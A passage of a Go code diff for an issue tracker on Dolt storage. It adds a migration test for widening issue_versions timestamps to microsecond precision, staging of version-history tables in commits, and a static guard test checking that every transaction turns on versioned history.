setupTestStore(t) + defer cleanup() + + ctx, cancel := testContext(t) + defer cancel() + + const upFile = "../schema/migrations/0069_widen_issue_versions_datetime_precision.up.sql" + const downFile = "../schema/migrations/0069_widen_issue_versions_datetime_precision.down.sql" + + requireColumnType(ctx, t, store, "issue_versions", "change_at", "datetime(6)") + requireColumnType(ctx, t, store, "issue_versions", "removed_at", "datetime(6)") + + runMigrationSQL(t, ctx, store, downFile) + requireColumnType(ctx, t, store, "issue_versions", "change_at", "datetime") + requireColumnType(ctx, t, store, "issue_versions", "removed_at", "datetime") + + if _, err := store.db.ExecContext(ctx, ` + INSERT INTO issue_versions (issue_id, revision, epoch, change_at, attribution_status) + VALUES ('mig0069-whole-second', 1, 1, '2026-09-05 00:00:07', 'unknown')`); err != nil { + t.Fatalf("seed a precision-0 issue_versions row: %v", err) + } + + for pass := 1; pass <= 2; pass++ { + runMigrationSQL(t, ctx, store, upFile) + requireColumnType(ctx, t, store, "issue_versions", "change_at", "datetime(6)") + requireColumnType(ctx, t, store, "issue_versions", "removed_at", "datetime(6)") + if got, want := readChangeAt(ctx, t, store, "mig0069-whole-second"), "2026-09-05 00:00:07.000000"; got != want { + t.Fatalf("pass %d: whole-second change_at = %q after the widen, want %q unchanged", pass, got, want) + } + } + + if _, err := store.db.ExecContext(ctx, ` + INSERT INTO issue_versions (issue_id, revision, epoch, change_at, attribution_status) + VALUES ('mig0069-sub-second', 1, 1, '2026-09-01 00:00:00.750000', 'unknown')`); err != nil { + t.Fatalf("insert a sub-second issue_versions row: %v", err) + } + if got, want := readChangeAt(ctx, t, store, "mig0069-sub-second"), "2026-09-01 00:00:00.750000"; got != want { + t.Fatalf("sub-second change_at = %q, want %q (at precision 0 Dolt rounds .750000 up to the next second)", got, want) + } +} + +// requireColumnType fails unless INFORMATION_SCHEMA reports table.column with +// exactly this COLUMN_TYPE, which is where a DATETIME's precision shows: +// "datetime" at precision 0, "datetime(6)" at microseconds. +func requireColumnType(ctx context.Context, t *testing.T, store *DoltStore, table, column, want string) { + t.Helper() + var got string + if err := store.db.QueryRowContext(ctx, ` + SELECT COLUMN_TYPE FROM INFORMATION_SCHEMA.COLUMNS + WHERE TABLE_SCHEMA = DATABASE() AND TABLE_NAME = ? AND COLUMN_NAME = ?`, + table, column).Scan(&got); err != nil { + t.Fatalf("read %s.%s column type: %v", table, column, err) + } + if got != want { + t.Fatalf("%s.%s column type = %q, want %q", table, column, got, want) + } +} + +// readChangeAt renders one row's change_at with DATE_FORMAT rather than +// scanning the driver's value, so the comparison sees every stored +// microsecond whatever the DSN's parseTime setting is. +func readChangeAt(ctx context.Context, t *testing.T, store *DoltStore, issueID string) string { + t.Helper() + var got string + if err := store.db.QueryRowContext(ctx, + "SELECT DATE_FORMAT(change_at, '%Y-%m-%d %H:%i:%s.%f') FROM issue_versions WHERE issue_id = ?", + issueID).Scan(&got); err != nil { + t.Fatalf("read change_at for %s: %v", issueID, err) + } + return got +} diff --git a/internal/storage/dolt/store.go b/internal/storage/dolt/store.go index 0b7cd6620..ae80c6735 100644 --- a/internal/storage/dolt/store.go +++ b/internal/storage/dolt/store.go @@ -24,6 +24,7 @@ import ( "os" "os/exec" "path/filepath" + "slices" "sort" "strconv" "strings" @@ -1351,6 +1352,28 @@ func (s *DoltStore) scopeVersionedHistoryTransaction(tx *sql.Tx) func() { return issueops.ScopeVersionedHistoryTransaction(tx, s.versionedHistoryEnabled.Load()) } +// withVersionedHistoryTables appends the tables the versioned-history seam +// writes to a fixed staging list when history is active on this store, so a +// mutation's version rows land in that mutation's own Dolt commit rather than +// sitting dirty in the working set. Every fixed-list DOLT_ADD path in this +// package routes through here; the tracker-based path uses +// DirtyTableTracker.MarkVersionedHistoryDirty instead. +// +// Staging a table that turns out to be clean is free: DOLT_ADD stages nothing +// and both helpers already skip the commit on an empty staged set. +func (s *DoltStore) withVersionedHistoryTables(tables []string) []string { + if !s.versionedHistoryEnabled.Load() { + return tables + } + staged := slices.Clone(tables) + for _, table := range issueops.VersionedHistoryStagedTables() { + if !slices.Contains(staged, table) { + staged = append(staged, table) + } + } + return staged +} + func (s *DoltStore) commitSQLTx(ctx context.Context, op string, tx *sql.Tx) error { if err := tx.Commit(); err != nil { return s.recordDoltPublicationFailure(ctx, wrapSQLCommitError(op, err)) @@ -3751,6 +3774,7 @@ func (s *DoltStore) doltAddAndCommit(ctx context.Context, tables []string, commi if issueops.VersionCommitDeferred(ctx) { return nil } + tables = s.withVersionedHistoryTables(tables) return s.withCircuitWrite(ctx, func(ctx context.Context) error { conn, err := s.db.Conn(ctx) if err != nil { diff --git a/internal/storage/dolt/transaction.go b/internal/storage/dolt/transaction.go index cd8af9c7b..eebc41a00 100644 --- a/internal/storage/dolt/transaction.go +++ b/internal/storage/dolt/transaction.go @@ -226,6 +226,17 @@ func (s *DoltStore) runDoltTransaction(ctx context.Context, commitMsg string, fn } clearJournalScope := issueops.ScopeEventsJournalTransaction(regularTx, journalEnabled) defer clearJournalScope() + // Versioned history binds to the SAME regular transaction the mutation runs + // in, for the same reason the journal does: RecordVersionInTx no-ops unless + // this scope is set. Without it every issues-plane mutation routed through + // runDoltTransaction — the whole doltTransaction mutator surface, reached + // from bd create, batch create/import, bd graph apply, merge_slot and the + // CLI transact wrappers — commits durably while minting no version row, so + // the bead has no creation version and the first later mutation that does + // run scoped is minted as revision 1: the history then asserts that the + // update IS the creation. + clearVersionScope := issueops.ScopeVersionedHistoryTransaction(regularTx, s.versionedHistoryEnabled.Load()) + defer clearVersionScope() tx := &doltTransaction{regularTx: regularTx, ignoredTx: ignoredTx, store: s, journalPinned: journalEnabled} @@ -268,6 +279,12 @@ func (s *DoltStore) finishDoltTransaction(ctx context.Context, conn *sql.Conn, t return wrapSQLCommitError("sql commit (regular)", err) } + // The mutations in this transaction ran with versioned history scoped on + // regularTx (see runDoltTransaction), so anything they minted has to be + // staged with them or the version rows never reach this operation's Dolt + // commit. Marked here, once, rather than at each MarkDirty call site. + tx.dirty.MarkVersionedHistoryDirty(s.versionedHistoryEnabled.Load()) + if err := versioncontrolops.StageAndCommit(ctx, conn, tx.dirty.DirtyTables(), commitMsg, s.commitAuthorString()); err != nil { rollbackIgnored() return fmt.Errorf("stage and commit after regular SQL commit: %w: %w", err, ErrCommitIndeterminate) diff --git a/internal/storage/dolt/version_scope_completeness_test.go b/internal/storage/dolt/version_scope_completeness_test.go new file mode 100644 index 000000000..4ddbc16e6 --- /dev/null +++ b/internal/storage/dolt/version_scope_completeness_test.go @@ -0,0 +1,179 @@ +package dolt + +import ( + "testing" + + "github.com/steveyegge/beads/internal/storage/journalscan" +) + +// versionScopeCalls are the ways a function binds versioned-history activation +// to the concrete transaction it just began: the store helper, or the issueops +// primitive it wraps (runDoltTransaction calls the latter directly). +var versionScopeCalls = map[string]bool{ + "scopeVersionedHistoryTransaction": true, + "ScopeVersionedHistoryTransaction": true, +} + +// rawTxVersionScopeExemptions are functions that mint a raw transaction +// reaching versioning code but legitimately do NOT scope it, each with a +// reason. The staleness check below fails if one stops being flagged, so an +// exemption cannot rot. +// +// Every entry is a WISP-PLANE mutation. They reach the shared issueops +// mutators, which is why the scan flags them, but RecordVersionInTx returns +// early on IsWisp(issue): issue_versions is the permanent-issues history and +// wisps are the ephemeral plane, whose own current_revision column is shape +// parity only (migration 0067's "SEMANTIC ASYMMETRY, DELIBERATE" note). +// Binding activation to these transactions could not mint a row, so it would +// be inert code that reads as coverage. +// +// The journal guard exempts a different set — the is_blocked recompute passes +// — which deliberately does NOT appear here: those recomputes never reach a +// versioning mutator at all, so this scan does not flag them, and listing them +// would rot immediately under the staleness check below. +var rawTxVersionScopeExemptions = map[string]string{ + "DoltStore.claimWisp": "wisp-plane claim: RecordVersionInTx returns early on IsWisp, so no issue_versions row is reachable from this transaction", + "DoltStore.closeWisp": "wisp-plane close: RecordVersionInTx returns early on IsWisp, so no issue_versions row is reachable from this transaction", + "DoltStore.closeWispChecked": "wisp-plane checked close: RecordVersionInTx returns early on IsWisp, so no issue_versions row is reachable from this transaction", + "DoltStore.updateWisp": "wisp-plane update: RecordVersionInTx returns early on IsWisp, so no issue_versions row is reachable from this transaction", + "DoltStore.updateWispChecked": "wisp-plane checked update: RecordVersionInTx returns early on IsWisp, so no issue_versions row is reachable from this transaction", + "DoltStore.addWispDependency": "wisp-plane dependency edit: wisp edges live in wisp_dependencies and RecordVersionInTx returns early on IsWisp", + "DoltStore.mergeMetadataWisp": "wisp slot metadata merge: mutates the wisp plane only, and RecordVersionInTx returns early on IsWisp", + "DoltStore.clearMetadataWisp": "wisp slot metadata clear: mutates the wisp plane only, and RecordVersionInTx returns early on IsWisp", +} + +// TestEveryRawTxVersionScopeIsScopedOrExempt is the versioned-history twin of +// TestEveryRawTxJournalScopeIsScopedOrExempt, and exists for the same reason: +// the issueops guards (version_completeness_test.go) prove the mutation seam +// MINTS; nothing proved the store turns minting ON for the transaction the +// mutation runs in. That activation half was hand-enumerated here too — three +// sites against the journal's fifteen — and the journal's own comment records +// that hand-enumerating its half "was wrong both times". +// +// An unscoped versioned-history transaction is quieter than an unscoped +// journal: the mutation commits, and the version row is simply absent. Worse, +// absence is not inert. The next mutation that DOES run scoped mints +// MAX(revision)+1 = 1, so the history asserts that the update is the creation +// — a lie that reads as well-formed history. +// +// KNOWN LIMIT, inherited from the journal guard's shape: the scan is per +// FUNCTION, not per transaction. RemoveDependencyWithOptions begins two +// transactions in one body (wisp arm, non-wisp arm) and satisfies this guard +// once EITHER arm scopes — measured, by deleting each arm's scope in turn: +// only deleting both turns it red. That is the reason the fix scoped the +// inert wisp arm too rather than the issues-plane arm alone; a half-scoped +// two-arm function is a shape this guard cannot see. +func TestEveryRawTxVersionScopeIsScopedOrExempt(t *testing.T) { + issueFns, err := journalscan.ParsePackage("../issueops") + if err != nil { + t.Fatalf("parse issueops package: %v", err) + } + emitHelpers := map[string]bool{ + "RecordVersionInTx": true, + } + // The plain fixpoint, as in the journal guard: any reachable version write + // matters. A transaction that can produce an issue_versions row at all must + // have activation bound to it. + issueEmits := journalscan.Fixpoint(issueFns, + func(f *journalscan.FuncInfo) bool { return f.CallsAnyOf(emitHelpers) }, + func(f *journalscan.FuncInfo) []string { return f.AllCallNames() }) + + versioningMutators := map[string]bool{} + for key, f := range issueFns { + if f.Exported && issueEmits[key] { + versioningMutators[f.Name] = true + } + } + if len(versioningMutators) == 0 { + t.Fatal("derived no versioning issueops mutators — the emit analysis changed and this guard is not actually running") + } + + doltFns, err := journalscan.ParsePackage(".") + if err != nil { + t.Fatalf("parse dolt package: %v", err) + } + + seenExempt := map[string]bool{} + var checked int + for key, f := range doltFns { + // In scope: a function that mints its own transaction AND hands it to a + // versioning mutator IN ITS OWN BODY. A function given a tx by + // withWriteTx/runDoltTransaction inherits their scoping, and those two + // are covered by TestTxMintingWrappersScopeVersionedHistory below. + // Reachability is deliberately DIRECT, for the reasons the journal + // guard documents at length. + if !f.CallsAnyOf(map[string]bool{"BeginTx": true}) || !f.CallsAnyOf(versioningMutators) { + continue + } + if reason, ok := rawTxVersionScopeExemptions[key]; ok { + if reason == "" { + t.Errorf("%s has an empty version-scope exemption reason", key) + } + seenExempt[key] = true + continue + } + checked++ + // Scoping must be DIRECT: activation binds to one concrete tx, so the + // function that began it is the only one that can bind it. + if !f.CallsAnyOf(versionScopeCalls) { + t.Errorf("%s begins its own transaction and reaches versioning issueops code, but never calls scopeVersionedHistoryTransaction on it — "+ + "every mutation in that transaction mints NO issue version, and the next scoped mutation is then recorded as revision 1 "+ + "(the history would claim that update is the creation). Scope it beside the journal scope (see dependencies.go for the idiom), "+ + "or add it to rawTxVersionScopeExemptions with a reason.", key) + } + } + + if checked == 0 { + t.Fatal("guard found no raw-transaction mutation paths — BeginTx detection or parsing changed; the guard is not actually running") + } + for key := range rawTxVersionScopeExemptions { + if !seenExempt[key] { + t.Errorf("version-scope exemption %q no longer matches a raw-transaction mutation path — remove it", key) + } + } +} + +// txMintingWrappers are the functions that begin a transaction and hand it to +// a CALLBACK rather than mutating in their own body. The scan above cannot see +// them: its reachability is deliberately direct, and these wrappers call no +// mutator themselves — the callback does, one frame down. +// +// They are also where the defect this guard exists for actually lived. +// runDoltTransaction is the entry point for bd create, batch create/import, +// bd graph apply, merge_slot and the CLI transact wrappers, so an unscoped +// runDoltTransaction leaves most of the issues plane unversioned while every +// raw-tx site in the scan above still looks perfectly scoped. Deleting its +// scope call does NOT fail the scan (verified by deleting it) — which is why +// this second arm exists rather than being folded into the first. +var txMintingWrappers = []string{ + "DoltStore.runDoltTransaction", + "DoltStore.withWriteTx", +} + +// TestTxMintingWrappersScopeVersionedHistory covers the half +// TestEveryRawTxVersionScopeIsScopedOrExempt structurally cannot. It fails +// loudly when a wrapper stops existing under its listed name, so a rename +// cannot quietly turn this into the same silent no-op a missing scope call +// already is. +func TestTxMintingWrappersScopeVersionedHistory(t *testing.T) { + doltFns, err := journalscan.ParsePackage(".") + if err != nil { + t.Fatalf("parse dolt package: %v", err) + } + for _, name := range txMintingWrappers { + f, ok := doltFns[name] + if !ok { + t.Errorf("tx-minting wrapper %s no longer exists under that name — update txMintingWrappers, or this guard silently stops covering it", name) + continue + } + if !f.CallsAnyOf(map[string]bool{"BeginTx": true}) { + t.Errorf("%s no longer begins its own transaction — it may no longer belong in txMintingWrappers", name) + continue + } + if !f.CallsAnyOf(versionScopeCalls) { + t.Errorf("%s begins the transaction most issues-plane mutations run in, but never binds versioned-history activation to it — "+ + "RecordVersionInTx then no-ops for every mutation routed through it, so those beads get no creation version and the first "+ + "later scoped mutation is minted as revision 1. Add ScopeVersionedHistoryTransaction beside the journal scope.", name) + } + } +} diff --git a/internal/storage/embeddeddolt/transaction.go b/internal/storage/embeddeddolt/transaction.go index 64efdded2..ed1d25682 100644 --- a/internal/storage/embeddeddolt/transaction.go +++ b/internal/storage/embeddeddolt/transaction.go @@ -51,6 +51,11 @@ func (s *EmbeddedDoltStore) runTransactionWithMessage(ctx context.Context, fn fu return err } + // Anything the body minted ran with versioned history scoped on this + // store's transaction (withConn), so its version rows must be staged with + // the mutation they describe rather than left dirty in the working set. + tracker.MarkVersionedHistoryDirty(s.versionedHistoryEnabled.Load()) + // Create a Dolt version commit from the working set changes. if commitMsg != "" && len(tracker.DirtyTables()) > 0 { if err := s.withMutatingDBConn(ctx, func(db versioncontrolops.DBConn) error { diff --git a/internal/storage/externaldeps/uow_decorator.go b/internal/storage/externaldeps/uow_decorator.go index 3e5e9fa0d..7dd2f9a45 100644 --- a/internal/storage/externaldeps/uow_decorator.go +++ b/internal/storage/externaldeps/uow_decorator.go @@ -133,6 +133,23 @@ func (p *uowProvider) SetEventsJournalEnabled(enabled bool) { } } +// SetVersionedHistoryEnabled forwards dual-write issue-version activation +// inward, for the same reason SetEventsJournalEnabled does. +// +// This wrapper is the OUTERMOST provider on both real chains — cmd/bd/main.go +// and cmd/bd/serve.go each build wireExternalDependencyUOWProvider(...) around +// everything else — and activation in this family works by type-asserting the +// outermost provider value for the configurer interface. Without this method +// the assertion fails on exactly the chains that matter, so activation would +// silently enable nothing on uow-backed processes while the direct-store plane +// turned on: split-brain, with no error and no log. The inner provider's own +// forwarder cannot be reached from those call sites. +func (p *uowProvider) SetVersionedHistoryEnabled(enabled bool) { + if configurer, ok := p.UnitOfWorkProvider.(storage.VersionedHistoryConfigurer); ok { + configurer.SetVersionedHistoryEnabled(enabled) + } +} + func (p *uowProvider) RunEventsMaintenanceTx(ctx context.Context, fn func(context.Context, issueops.DBTX) error) error { runner, ok := p.UnitOfWorkProvider.(issueops.EventsMaintenanceRunner) if !ok { @@ -142,39 +159,40 @@ func (p *uowProvider) RunEventsMaintenanceTx(ctx context.Context, fn func(contex } var ( - _ uow.PoolTuner = (*uowProvider)(nil) - _ storage.EventsJournalConfigurer = (*uowProvider)(nil) - _ issueops.EventsMaintenanceRunner = (*uowProvider)(nil) - _ uow.IssueLifecycleSource = (*uowProvider)(nil) - _ uow.IssueReaderSource = (*uowProvider)(nil) - _ uow.IssueClaimerSource = (*uowProvider)(nil) - _ uow.RelationsSource = (*uowProvider)(nil) - _ uow.EdgeReaderSource = (*uowProvider)(nil) - _ uow.BlockingAnnotatorSource = (*uowProvider)(nil) - _ uow.TreeWalkerSource = (*uowProvider)(nil) - _ uow.GraphCounterSource = (*uowProvider)(nil) - _ uow.CounterSource = (*uowProvider)(nil) - _ uow.ReadyCounterSource = (*uowProvider)(nil) - _ uow.ReadyClaimerSource = (*uowProvider)(nil) - _ uow.QuerierSource = (*uowProvider)(nil) - _ uow.StatsReporterSource = (*uowProvider)(nil) - _ uow.CycleDetectorSource = (*uowProvider)(nil) - _ uow.CommenterSource = (*uowProvider)(nil) - _ uow.BatchCloserSource = (*uowProvider)(nil) - _ uow.BatchCreatorSource = (*uowProvider)(nil) - _ uow.DependencyEditorSource = (*uowProvider)(nil) - _ uow.BatchApplierSource = (*uowProvider)(nil) - _ uow.DeleterSource = (*uowProvider)(nil) - _ uow.SweeperSource = (*uowProvider)(nil) - _ uow.ImporterSource = (*uowProvider)(nil) - _ uow.BootstrapperSource = (*uowProvider)(nil) - _ uow.InitVerifierSource = (*uowProvider)(nil) - _ uow.WorkspaceConfigSource = (*uowProvider)(nil) - _ uow.VersionReconcilerSource = (*uowProvider)(nil) - _ uow.MetadataCASSource = (*uowProvider)(nil) - _ uow.ReleaserSource = (*uowProvider)(nil) - _ uow.MemoriesSource = (*uowProvider)(nil) - _ uow.EventsJournalCursorSource = (*uowProvider)(nil) + _ uow.PoolTuner = (*uowProvider)(nil) + _ storage.EventsJournalConfigurer = (*uowProvider)(nil) + _ storage.VersionedHistoryConfigurer = (*uowProvider)(nil) + _ issueops.EventsMaintenanceRunner = (*uowProvider)(nil) + _ uow.IssueLifecycleSource = (*uowProvider)(nil) + _ uow.IssueReaderSource = (*uowProvider)(nil) + _ uow.IssueClaimerSource = (*uowProvider)(nil) + _ uow.RelationsSource = (*uowProvider)(nil) + _ uow.EdgeReaderSource = (*uowProvider)(nil) + _ uow.BlockingAnnotatorSource = (*uowProvider)(nil) + _ uow.TreeWalkerSource = (*uowProvider)(nil) + _ uow.GraphCounterSource = (*uowProvider)(nil) + _ uow.CounterSource = (*uowProvider)(nil) + _ uow.ReadyCounterSource = (*uowProvider)(nil) + _ uow.ReadyClaimerSource = (*uowProvider)(nil) + _ uow.QuerierSource = (*uowProvider)(nil) + _ uow.StatsReporterSource = (*uowProvider)(nil) + _ uow.CycleDetectorSource = (*uowProvider)(nil) + _ uow.CommenterSource = (*uowProvider)(nil) + _ uow.BatchCloserSource = (*uowProvider)(nil) + _ uow.BatchCreatorSource = (*uowProvider)(nil) + _ uow.DependencyEditorSource = (*uowProvider)(nil) + _ uow.BatchApplierSource = (*uowProvider)(nil) + _ uow.DeleterSource = (*uowProvider)(nil) + _ uow.SweeperSource = (*uowProvider)(nil) + _ uow.ImporterSource = (*uowProvider)(nil) + _ uow.BootstrapperSource = (*uowProvider)(nil) + _ uow.InitVerifierSource = (*uowProvider)(nil) + _ uow.WorkspaceConfigSource = (*uowProvider)(nil) + _ uow.VersionReconcilerSource = (*uowProvider)(nil) + _ uow.MetadataCASSource = (*uowProvider)(nil) + _ uow.ReleaserSource = (*uowProvider)(nil) + _ uow.MemoriesSource = (*uowProvider)(nil) + _ uow.EventsJournalCursorSource = (*uowProvider)(nil) ) type unitOfWork struct { diff --git a/internal/storage/externaldeps/uow_decorator_test.go b/internal/storage/externaldeps/uow_decorator_test.go index 08585552d..ca6612025 100644 --- a/internal/storage/externaldeps/uow_decorator_test.go +++ b/internal/storage/externaldeps/uow_decorator_test.go @@ -325,3 +325,90 @@ func TestWrapUOWProviderPaginatesCombinedExternalBlockedWork(t *testing.T) { t.Fatalf("GetBlockedIssues MaxRows error = %v, want ErrTooManyRows", err) } } + +// fakeConfigurableProvider is a provider that implements BOTH optional +// activation configurers and records what reached it. +type fakeConfigurableProvider struct { + uow.UnitOfWorkProvider + journal bool + version bool +} + +func (p *fakeConfigurableProvider) SetEventsJournalEnabled(enabled bool) { p.journal = enabled } + +func (p *fakeConfigurableProvider) SetVersionedHistoryEnabled(enabled bool) { p.version = enabled } + +// TestWrapUOWProviderForwardsActivationConfigurers pins the whole optional +// activation family through this wrapper, not one member of it. +// +// uowProvider is the OUTERMOST provider on both real chains (cmd/bd/main.go +// and cmd/bd/serve.go each wrap everything else in +// wireExternalDependencyUOWProvider), and activation discovers its target by +// type-asserting that outermost value. A configurer the wrapper does not +// implement therefore fails the assertion on exactly the chains that matter, +// and any forwarder further in is unreachable — with no error and no log, +// because a missing optional-interface method is invisible to the compiler. +// The table is the point: the next configurer added to this family gets one +// row here and is covered, rather than shipping the same silent gap. +func TestWrapUOWProviderForwardsActivationConfigurers(t *testing.T) { + cases := []struct { + name string + enable func(uow.UnitOfWorkProvider) bool + got func(*fakeConfigurableProvider) bool + }{ + { + name: "EventsJournalConfigurer", + enable: func(p uow.UnitOfWorkProvider) bool { + configurer, ok := p.(storage.EventsJournalConfigurer) + if ok { + configurer.SetEventsJournalEnabled(true) + } + return ok + }, + got: func(p *fakeConfigurableProvider) bool { return p.journal }, + }, + { + name: "VersionedHistoryConfigurer", + enable: func(p uow.UnitOfWorkProvider) bool { + configurer, ok := p.(storage.VersionedHistoryConfigurer) + if ok { + configurer.SetVersionedHistoryEnabled(true) + } + return ok + }, + got: func(p *fakeConfigurableProvider) bool { return p.version }, + }, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + inner := &fakeConfigurableProvider{} + provider := WrapUOWProvider(inner, nil, nil) + if !tc.enable(provider) { + t.Fatalf("wrapped provider %T does not implement %s — activation type-asserts the OUTERMOST provider, so it would silently enable nothing", provider, tc.name) + } + if !tc.got(inner) { + t.Fatalf("%s did not reach the inner provider through the wrapper", tc.name) + } + }) + } +} + +// TestWrapUOWProviderToleratesInnerWithoutConfigurers pins the other half of +// the forwarding contract: an inner provider that implements neither +// configurer must be a silent no-op, not a panic. The wrapper still satisfies +// both interfaces (that is what makes activation reach it at all), so the +// inner type assertion is the only thing standing between a non-configurable +// store and a nil-method call. +func TestWrapUOWProviderToleratesInnerWithoutConfigurers(t *testing.T) { + provider := WrapUOWProvider(&fakeUOWProvider{uw: &fakeUOW{}}, nil, nil) + journal, ok := provider.(storage.EventsJournalConfigurer) + if !ok { + t.Fatalf("wrapped provider %T does not implement storage.EventsJournalConfigurer", provider) + } + version, ok := provider.(storage.VersionedHistoryConfigurer) + if !ok { + t.Fatalf("wrapped provider %T does not implement storage.VersionedHistoryConfigurer", provider) + } + journal.SetEventsJournalEnabled(true) + version.SetVersionedHistoryEnabled(true) +} diff --git a/internal/storage/issueops/version_history.go b/internal/storage/issueops/version_history.go index 8501f67a3..ad2fb66c1 100644 --- a/internal/storage/issueops/version_history.go +++ b/internal/storage/issueops/version_history.go @@ -63,6 +63,18 @@ import ( // not serialized on the issue row the way the claim/close CAS is; the // RunDualWrite* contract cases exclude concurrent writers, so no test // speaks to it. Tracked as gastownhall/beads#6379 (item 4). +// +// MINT COST, deferred deliberately: each mint adds ~5-6 round-trips inside +// the write transaction (the GetIssueInTx snapshot and its label hydration, +// the dependency load, the store_epoch read, the MAX(revision) scan, the +// version INSERT, the current_revision UPDATE), and the MAX(revision) scan +// grows with an issue's history depth -- on paths that previously ran one or +// two statements, so it lengthens write-lock hold time. Harmless while the +// flag is off, which is every build so far. Before any phase enables it, seed +// the next ordinal from the current_revision the snapshot above already read +// in this transaction and retire the aggregate scan -- a natural pairing with +// the version_id UUID swap, since that swap is what makes the ordinal stop +// being the key. Tracked as gastownhall/beads#6379 alongside item 4. var versionedHistoryTransactions sync.Map // map[DBTX]bool; entries live for one transaction @@ -86,6 +98,36 @@ func versionedHistoryEnabled(tx DBTX) bool { return on } +// VersionedHistoryStagedTables names every table RecordVersionInTx writes, so +// a staging path can add them to whatever it was already going to stage. +// +// THE PLANE DECISION, stated once here because the reviewer of #6675 rightly +// refused to infer it: issue_versions and store_epoch REPLICATE. They are +// ordinary synced Dolt tables, deliberately NOT dolt_ignore'd the way the +// events journal's tables are (migration 0064), because a bead's version +// history is part of the bead and has to travel with it — and because the +// single-writer constraint this package documents at length is a statement +// about what happens when two clones MERGE these tables, which is only +// meaningful for a table that replicates at all. +// +// Replicating means every operation that mints has to STAGE what it minted, +// or the rows sit dirty in the working set: unreplicated, absent from the +// DOLT_COMMIT of the very mutation they describe, swept into whichever later +// unrelated commit stages broadly, and able to trip DirtyTablesError on the +// next migration. That is the same-transaction durability promise this seam +// exists to keep, so staging is not an optimization here. +// +// `issues` is in the list because the mint's LAST write is +// `UPDATE issues SET current_revision`. On issue-plane mutations that table is +// already staged; on the dependency paths it is not, which is the case this +// list exists for. Note that staging `issues` there is gated on versioned +// history being active (see the store-side callers), so it does not widen what +// an ordinary dep-add commit contains — the pre-existing unstaged-`issues` +// gap on those paths is bd-2y9ke, and deliberately still theirs to fix. +func VersionedHistoryStagedTables() []string { + return []string{"issue_versions", "store_epoch", "issues"} +} + // issue_versions.attribution_status is a NOT NULL column (migration 0068 // step 6) whose vocabulary aligns to BDP's carried-attribution status // (gastownhall/bdp#18, merged 2026-09-07): status ∈ {claimed, unknown}. A diff --git a/internal/storage/schema/cli_migrations.go b/internal/storage/schema/cli_migrations.go index a9ff46722..ade8014c6 100644 --- a/internal/storage/schema/cli_migrations.go +++ b/internal/storage/schema/cli_migrations.go @@ -148,6 +148,15 @@ func cliCompatibleMigrationSQL(name, sqlText string) string { // yet, and still has durable_state as the JSON type 0067 gave it, so // both of 0068's steps always fire on a fresh bundle. return cliMigration0068AddAttributionStatus + case "0069_widen_issue_versions_datetime_precision.up.sql": + // Direct DDL for the same reason as 0068: the source migration's + // PREPARE guards (DATETIME_PRECISION probes) are what make the raw + // .up.sql idempotent when replayed onto an already-widened store, + // and the 2.2.x CLI no-ops a prepared MODIFY COLUMN. Nothing before + // 0069 in the fresh-bundle series widens change_at or removed_at -- + // 0067 creates both as plain DATETIME and 0068 retypes only + // durable_state -- so both of 0069's MODIFYs always fire here too. + return cliMigration0069WidenIssueVersionsDatetimePrecision default: return sqlText } @@ -271,6 +280,16 @@ ALTER TABLE wisps ADD COLUMN current_revision BIGINT NOT NULL DEFAULT 1;` const cliMigration0068AddAttributionStatus = `ALTER TABLE issue_versions ADD COLUMN attribution_status VARCHAR(20) NOT NULL; ALTER TABLE issue_versions MODIFY COLUMN durable_state LONGBLOB;` +// cliMigration0069WidenIssueVersionsDatetimePrecision is 0069 with its two +// guarded PREPARE blocks replaced by the direct MODIFYs they would run on a +// fresh database: change_at and removed_at from 0067's plain DATETIME to +// DATETIME(6) (the microsecond widen be-hs42e.8 / gastownhall/beads#6132 +// asks for -- see the migration's header). Neither 0067's override nor +// 0068's touches either column, so both retypes always fire here; no wisps +// twin exists for this table. +const cliMigration0069WidenIssueVersionsDatetimePrecision = `ALTER TABLE issue_versions MODIFY COLUMN change_at DATETIME(6) NOT NULL; +ALTER TABLE issue_versions MODIFY COLUMN removed_at DATETIME(6);` + const cliMigration0041SplitDependenciesTarget = `DELETE FROM dolt_nonlocal_tables; CALL DOLT_COMMIT('-Am', 'disable nonlocal tables for fk migrations'); SET FOREIGN_KEY_CHECKS = 0; diff --git a/internal/storage/schema/migration_0067_versioned_beads_test.go b/internal/storage/schema/migration_0067_versioned_beads_test.go index 290cea3e5..8ffb1d89d 100644 --- a/internal/storage/schema/migration_0067_versioned_beads_test.go +++ b/internal/storage/schema/migration_0067_versioned_beads_test.go @@ -159,8 +159,14 @@ func TestMigration0067AddsVersionedBeadsSchemaThroughDoltCLI(t *testing.T) { requireDoltColumnShape(t, dir, "issue_versions", "change_actor", "varchar(255)", "YES") requireDoltColumnShape(t, dir, "issue_versions", "change_agent", "varchar(255)", "YES") requireDoltColumnShape(t, dir, "issue_versions", "change_message", "text", "YES") - requireDoltColumnShape(t, dir, "issue_versions", "change_at", "datetime", "NO") - requireDoltColumnShape(t, dir, "issue_versions", "removed_at", "datetime", "YES") + // 0069 widens both change_at and removed_at from DATETIME(0) to + // DATETIME(6) (be-hs42e.8) to stop the column rounding sub-second writes + // up to the next second. This test runs the whole bundle (see the + // durable_state/attribution_status comments above for the same pattern), + // so it asserts the post-widen shape, not the DATETIME(0) shape 0067 + // alone would have produced. + requireDoltColumnShape(t, dir, "issue_versions", "change_at", "datetime(6)", "NO") + requireDoltColumnShape(t, dir, "issue_versions", "removed_at", "datetime(6)", "YES") requireDoltColumnShape(t, dir, "issue_versions", "removed_reason", "varchar(255)", "YES") requireDoltNoRows(t, dir, "SELECT issue_id FROM issue_versions", "issue_versions") diff --git a/internal/storage/schema/migration_0068_add_attribution_status_test.go b/internal/storage/schema/migration_0068_add_attribution_status_test.go index 983abcf9e..5e26243ae 100644 --- a/internal/storage/schema/migration_0068_add_attribution_status_test.go +++ b/internal/storage/schema/migration_0068_add_attribution_status_test.go @@ -27,20 +27,6 @@ import ( const migration0068Up = "0068_add_attribution_status.up.sql" const migration0068Down = "0068_add_attribution_status.down.sql" -// TestLatestVersionIncludesMigration0068 pins the real next free slot this -// phase claims, superseding 0067's own version of this test (LatestVersion() -// moved from 67 to 68 the moment this migration file was added). Deliberately -// a hardcoded literal for the same reason 0067's was: LatestVersion() -// drifting to 68 for the wrong reason (an unrelated migration landing first) -// should still be caught by this test failing to explain why 68 is -// attribution-status-shaped, which the CLI test below checks. -func TestLatestVersionIncludesMigration0068(t *testing.T) { - const want = 68 - if got := LatestVersion(); got != want { - t.Fatalf("LatestVersion() = %d, want %d (issue_versions.attribution_status migration slot claimed by be-hs42e.3)", got, want) - } -} - // TestMigration0068AddsAttributionStatus is a pure-Go, DB-independent check // of the frozen migration bytes 